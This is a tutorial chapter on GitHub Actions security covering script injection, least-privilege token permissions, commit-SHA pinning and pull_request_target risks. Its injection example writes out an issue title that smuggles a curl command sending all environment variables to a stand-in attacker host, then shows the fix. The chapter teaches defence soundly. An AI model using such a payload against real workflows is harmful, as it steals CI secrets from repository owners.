GitHub Actions Security Best Practices

# CHAPTER 15

GitHub Actions Security Best Practices #

1. Introduction #

• Restrict the automatic GITHUBTOKEN permissions using the permissions: block.

• Understand the security boundary of the pullrequest vs pullrequesttarget triggers.

When GitHub Actions runs, it is given a master key (GITHUBTOKEN) by default. You must restrict this key so that if a hacker hijacks the workflow, they can't do any damage.

4. The Threat: Script Injection in YAML #

on:
  issues:
    types: [opened]

jobs:
  print-issue:
    runs-on: ubuntu-latest
    steps:
      - run: echo "New issue title: ${{ github.event.issue.title }}"

The Hack: A malicious user opens a new Issue on GitHub. They make the title: Bug Report"; curl -X POST -d "$(env)" http://hacker.com; echo " The Execution: When the workflow runs, it evaluates the run command as: echo "New issue title: Bug Report"; curl -X POST -d "$(env)" http://hacker.com; echo "" Because of the semicolon, the runner suddenly stops echoing the title and executes the curl command, sending all your secret environment variables directly to the hacker's server.

The Fix: NEVER put ${{ }} variables directly inside a run: bash script if the variable contains user-controlled input (like an Issue title or PR name). Map it to an intermediate environment variable first.

      - env:
          ISSUE_TITLE: ${{ github.event.issue.title }}
        run: echo "New issue title: $ISSUE_TITLE" # Safe! Bash handles the escaping.

5. Managing the GITHUBTOKEN #

You must explicitly strip these permissions using the permissions: keyword at the top of your YAML file.

name: Secure Workflow
on: [push]

# Strip all permissions by default, granting exactly what is needed
permissions:
  contents: read # Only allow the token to read the code (for checkout)

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

6. Mini Project: Harden CI/CD Workflows #

Step-by-Step Walkthrough:

1. 1. Create .github/workflows/secure-pipeline.yml.

1. 2. Paste the following declarative code:

name: Hardened Pipeline
on: [push]

# 1. Least Privilege: Restrict the built-in token
permissions:
  contents: read

jobs:
  secure-build:
    runs-on: ubuntu-latest
    
    # 2. Prevent infinite hangs and excessive billing
    timeout-minutes: 10
    
    steps:
      # 3. Pinning by Commit SHA (Supply Chain Security)
      - name: Checkout Code Securely
        uses: actions/checkout@c85c95e3d7251135ab7dc9ce3241c5835cc595a9

      # 4. Safe Handling of Dynamic Data
      - name: Safely Print the Branch Name
        env:
          BRANCH_NAME: ${{ github.ref_name }}
        run: echo "Building branch $BRANCH_NAME"

7. Real-World Scenarios #

8. Best Practices #

• pullrequesttarget vs pullrequest: If you have an open-source project, anyone can open a Pull Request. If your workflow triggers on pullrequest, it runs the untrusted code on your runner. By default, GitHub severely restricts secrets in this scenario. If you *need* secrets (e.g., to label the PR automatically), you use pullrequesttarget. This event runs the workflow from the *main* branch, not the untrusted branch, allowing safe access to secrets. Never run actions/checkout with pullrequesttarget unless you know exactly what you are doing, as it invites severe code execution risks.

9. Security Recommendations #

• Require Reviews for Environments: In GitHub Repository Settings, define an Environment (e.g., Production). Add "Required Reviewers." Even if a hacker compromises your GitHub account and pushes code to main, the workflow will pause and wait for a second, authorized team member to physically click "Approve" before the deployment job executes.

10. Troubleshooting Tips #

• Forbidden Errors: If your workflow suddenly fails with a 403 Forbidden error when trying to upload a package or comment on a PR, you likely restricted the permissions: block too tightly. Check the documentation for the specific action to see which permissions it requires (e.g., pull-requests: write).

11. Exercises #

1. 1. Demonstrate how to safely print the user-controlled variable ${{ github.event.issue.title }} in a workflow step without exposing the runner to Script Injection.

1. 2. Why is pinning a third-party marketplace action by its Commit SHA significantly more secure than pinning it by a version tag (like @v2)?

12. FAQs #

13. Interview Questions #

• Q: Describe a script injection vulnerability within a GitHub Actions workflow. How does the architecture of YAML evaluation contribute to this risk, and what is the definitive mitigation strategy?

• Q: Explain the operational purpose of the permissions: block in a GitHub Actions YAML file. How does this implementation align with the Principle of Least Privilege regarding the automatic GITHUBTOKEN?

15. Next Chapter Recommendation #